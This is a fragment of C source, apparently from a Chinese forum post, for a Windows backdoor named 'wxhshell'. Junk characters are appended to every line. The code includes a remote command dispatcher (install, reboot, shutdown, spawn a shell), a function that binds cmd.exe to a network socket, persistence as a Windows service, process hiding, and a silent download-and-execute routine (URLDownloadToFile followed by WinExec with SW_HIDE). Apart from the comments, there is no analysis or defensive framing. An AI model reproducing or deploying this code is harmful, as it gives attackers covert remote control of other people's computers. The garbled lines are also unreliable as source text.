  else { @HMt}zD  
:_p3nb[r  
    switch(cmd[0]) { `a3q)}*Y  
  %*oz~,i  
  // 帮助 E )09M%fe  
  case '?': { |hiYV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9K Ih}Q@P  
    break; gmj a2F,  
  } c zL[W2l   
  // 安装 zVGjXuNa  
  case 'i': { 42Tjbten_u  
    if(Install()) zi:GvTG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \G#Qe*"'K  
    else #- z*c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Fk LZm  
    break; ^.nvX{H8~=  
    } 7$8z}2  
  // 卸载 ?*9U d  
  case 'r': {  aVz<RS  
    if(Uninstall()) w4:n(.;HK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [I4K`>|Z  
    else o!aKeM~|Es  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~SUA.YuF  
    break; 0u'4kF!P!  
    } e\%QHoi>u  
  // 显示 wxhshell 所在路径 y~SFlv36  
  case 'p': { O->i>d  
    char svExeFile[MAX_PATH]; Z?ZcQ[eC  
    strcpy(svExeFile,"\n\r"); b+OLmd  
      strcat(svExeFile,ExeFile); ]^3_eHa^d  
        send(wsh,svExeFile,strlen(svExeFile),0); OcQ_PE5\  
    break; w> IkC+.?  
    } I{_St8  
  // 重启 o%Vf#W  
  case 'b': { -=Q_E^'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S/G,A,"c  
    if(Boot(REBOOT)) ed'}ReLK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0IljY!.  
    else { d?v#gW  
    closesocket(wsh); 83412@&  
    ExitThread(0); wf=#w}f  
    } uZ]B?Z%y#  
    break; +LV'E#h!Q  
    } 2GqPS  
  // 关机 ,au64sH  
  case 'd': { ]vXIj0:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]n _-  
    if(Boot(SHUTDOWN)) PUltn}M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^W_}Gd<-#Y  
    else { o*qEAy ?  
    closesocket(wsh); FT[oM<M\Xd  
    ExitThread(0); 0s$g[Fw<.  
    } JjfNH ~  
    break; T9t9])  
    } q[M7)-  
  // 获取shell _a+0LTo".  
  case 's': { q)G*"  
    CmdShell(wsh); KjZ^\lq'  
    closesocket(wsh); Pl}}!<!<z  
    ExitThread(0); htX'bA  
    break; CBnD)1b\  
  } 6KnD(im  
  // 退出 Ook3B  
  case 'x': { 9`4h"9dO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r?{Vqephz  
    CloseIt(wsh); Kp ~k!6x  
    break; D4 {gt\V  
    } DECX18D  
  // 离开 / v5Pk.!o  
  case 'q': { 7KRc^ *pZs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~e 6yaX8S  
    closesocket(wsh); O.& 6J/  
    WSACleanup(); yZ0;\Tr*J  
    exit(1); @ RTQJ+ms  
    break; 2}$Vi$ R  
        } c`doR(oZ  
  } **! lV]/  
  } I;P?P5H  
E0xUEAO  
  // 提示信息 $rFv(Qc^=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'8OGCN  
} By3dRiM=,2  
  } F|xXMpC.f  
@h>#cwhU  
  return; zHb<YpU  
} 4 3]6J]!)  
:e+GtN?  
// shell模块句柄 e!tgWYN  
int CmdShell(SOCKET sock) <' P|g  
{ 1G.+)*:3  
STARTUPINFO si; QAygr4\X^  
ZeroMemory(&si,sizeof(si)); y^;qT_)#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R3?~+ y&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :&?#~NFH  
PROCESS_INFORMATION ProcessInfo; D1o 8Wo  
char cmdline[]="cmd"; ?z:xQ*#X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k\ I$ve"*  
  return 0; OUI}jJw+  
} ry~3YYEMI0  
M#<x2ojW  
// 自身启动模式 / sH*if  
int StartFromService(void) jvu,W4  
{ ~{^A&#P  
typedef struct 3qpk Mu3  
{ _JR4 PKtx  
  DWORD ExitStatus; hZ2PP ^  
  DWORD PebBaseAddress; YgM6z K~  
  DWORD AffinityMask; O])/kS`  
  DWORD BasePriority; y*uL,WH  
  ULONG UniqueProcessId; \?3];+c9  
  ULONG InheritedFromUniqueProcessId; -\UzL:9>  
}   PROCESS_BASIC_INFORMATION; X@~sIUXx9  
{E6W]Mno  
PROCNTQSIP NtQueryInformationProcess; ?ZDx9*f  
t&eD;lg :  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q96g7[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9sYX(Fl  
UwE^ij  
  HANDLE             hProcess; {F@;45)o  
  PROCESS_BASIC_INFORMATION pbi; zh/+1  
Bj@&c>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  }Ecm  
  if(NULL == hInst ) return 0; ARQ1H0_B  
8$G$Rdn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1d\K{ 7i#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }}_WZ},h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B5I(ai7<M  
; H:qDBH  
  if (!NtQueryInformationProcess) return 0; c#HocwP@  
5~rs55W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $<ZX};/D  
  if(!hProcess) return 0; 0HNe44oI+D  
fcw \`.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A=XM(2{aN  
H.>KYiv+  
  CloseHandle(hProcess); Ei}DA=:s  
HnY: gu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3_33@MM  
if(hProcess==NULL) return 0; X,y$!2QI  
%'g/4I  
HMODULE hMod; $mlsFBd  
char procName[255]; (qPZEZKx  
unsigned long cbNeeded; @&EP& $*  
$7BD~U   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k?S-peyRO  
)3G?5 OTS  
  CloseHandle(hProcess); A@DIq/^xM  
Qz$.t>@V=  
if(strstr(procName,"services")) return 1; // 以服务启动 UI8M<  
J41ZQ  
  return 0; // 注册表启动 2l\Oufer"  
} S:1! )7  
,9A[o`b  
// 主模块 PMrvUM62  
int StartWxhshell(LPSTR lpCmdLine) ?^"S%Vb  
{ 7gJy xQ  
  SOCKET wsl; 0;XnNz3&  
BOOL val=TRUE; /1OhW>W3eH  
  int port=0; x`o_&09;CG  
  struct sockaddr_in door; hOwVm;:  
[6/ %ynlP  
  if(wscfg.ws_autoins) Install(); ;$%+TN  
Pt1Htt:BE  
port=atoi(lpCmdLine); aqyXxJS8  
P, >#  
if(port<=0) port=wscfg.ws_port; Wg$MKc9Vy[  
A$5!]+  
  WSADATA data; -7pZRnv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l[.pI];T  
!MGQ+bD6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %*s[s0$c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \}<nXn!  
  door.sin_family = AF_INET; ]"YG7|EU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yXEC@#?|  
  door.sin_port = htons(port); Z>X -ueV  
-AffKo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XDI@ mQmzB  
closesocket(wsl); SgY>$gP9S  
return 1; JgxOxZS`@  
} IG bQ L  
J7l1-  
  if(listen(wsl,2) == INVALID_SOCKET) { \,_%e[g49  
closesocket(wsl); M@gm.)d  
return 1; )?_c7 R  
} c3Mql+@  
  Wxhshell(wsl); s\KV\5\o  
  WSACleanup(); S&QZ"4jq  
goxgJOiB  
return 0; BGA.8qWR4  
)P,jpE8  
} )D#*Q~   
YL{LdM-xM  
// 以NT服务方式启动 :|fzGf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QzV:^!0J  
{ |9(uiWf  
DWORD   status = 0; 4W1"=VL[g  
  DWORD   specificError = 0xfffffff; |\b*p:e l  
K(Cv9YQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /[us;=CM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *.i` hfRc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nNL9B~d  
  serviceStatus.dwWin32ExitCode     = 0; WJg?R^  
  serviceStatus.dwServiceSpecificExitCode = 0; QU\|RX   
  serviceStatus.dwCheckPoint       = 0; ,Z52d ggD  
  serviceStatus.dwWaitHint       = 0; py,z7_Nuh  
evn ]n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5X[=Q>  
  if (hServiceStatusHandle==0) return; WO '33Q(  
~s88JLw%&u  
status = GetLastError(); H(""So7L  
  if (status!=NO_ERROR) .=K@M"5&  
{ G8<,\mg+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /r]IY.  
    serviceStatus.dwCheckPoint       = 0; WAob"`8]  
    serviceStatus.dwWaitHint       = 0; Ao=.=0os  
    serviceStatus.dwWin32ExitCode     = status; ^(a%B  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0P!6 .-XU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QRa>W/N  
    return; !qy/'v4  
  } )WBTqML[  
 C9*'.~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VV?KJz=,W=  
  serviceStatus.dwCheckPoint       = 0; *,z__S$Q)  
  serviceStatus.dwWaitHint       = 0; CRS/qso[Q'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EY&hWl*a^  
} W**a\[~$  
PCD1I98  
// 处理NT服务事件,比如:启动、停止 Pirc49c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b~cN#w #  
{ !v94FkS>  
switch(fdwControl) b^FB[tZ\x  
{ :~g=n&x  
case SERVICE_CONTROL_STOP: 0h$23.  
  serviceStatus.dwWin32ExitCode = 0; mNs&*h}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7zy6`O P  
  serviceStatus.dwCheckPoint   = 0; bl:.D~@  
  serviceStatus.dwWaitHint     = 0; jYuH zf  
  {  &grT}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H{9di\xnEm  
  } ^TnBtIU-B  
  return; p"Fj6T2  
case SERVICE_CONTROL_PAUSE: O~w&4F;{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rsqb<+7  
  break; ULAAY$o@5  
case SERVICE_CONTROL_CONTINUE: 7X1T9'j I2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KLlW\MF1  
  break; *qGxQ?/  
case SERVICE_CONTROL_INTERROGATE: j@Z4(X L  
  break; $\{@wL  
}; bf::bV?T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $c[8-=  
} K^w(WE;db  
YW0UIO  
// 标准应用程序主函数 |WlWZ8]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^qYJx  
{ !SEg4z  
Svy bP&i|  
// 获取操作系统版本 BEN=/ v  
OsIsNt=GetOsVer(); hcwKi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LbvnV~S  
G' Jsk4:c  
  // 从命令行安装 Al6)$8]e   
  if(strpbrk(lpCmdLine,"iI")) Install(); oJ>]=^?k  
k)dLJ<EM  
  // 下载执行文件 <<Ut@243\  
if(wscfg.ws_downexe) { t-i;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KR%DpQ&{'  
  WinExec(wscfg.ws_filenam,SW_HIDE); X.bNU  
} U c$RYPq  
Hj$JXo[U  
if(!OsIsNt) {  WOG=Uy$  
// 如果时win9x,隐藏进程并且设置为注册表启动 3<CCC+47  
HideProc(); s9@/(_  
StartWxhshell(lpCmdLine); ( {5LB4  
} 9 }jF]P*Q  
else >2,x#RQs  
  if(StartFromService()) +|KnO  
  // 以服务方式启动 AWc7TW  
  StartServiceCtrlDispatcher(DispatchTable); % sbDH  
else @|idlIey  
  // 普通方式启动 "i(k8+i K  
  StartWxhshell(lpCmdLine); Bc`jkO.q  
z*"zXL C  
return 0; O4S~JE3o  
}
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只看该作者 1 发表于: 2006-10-10
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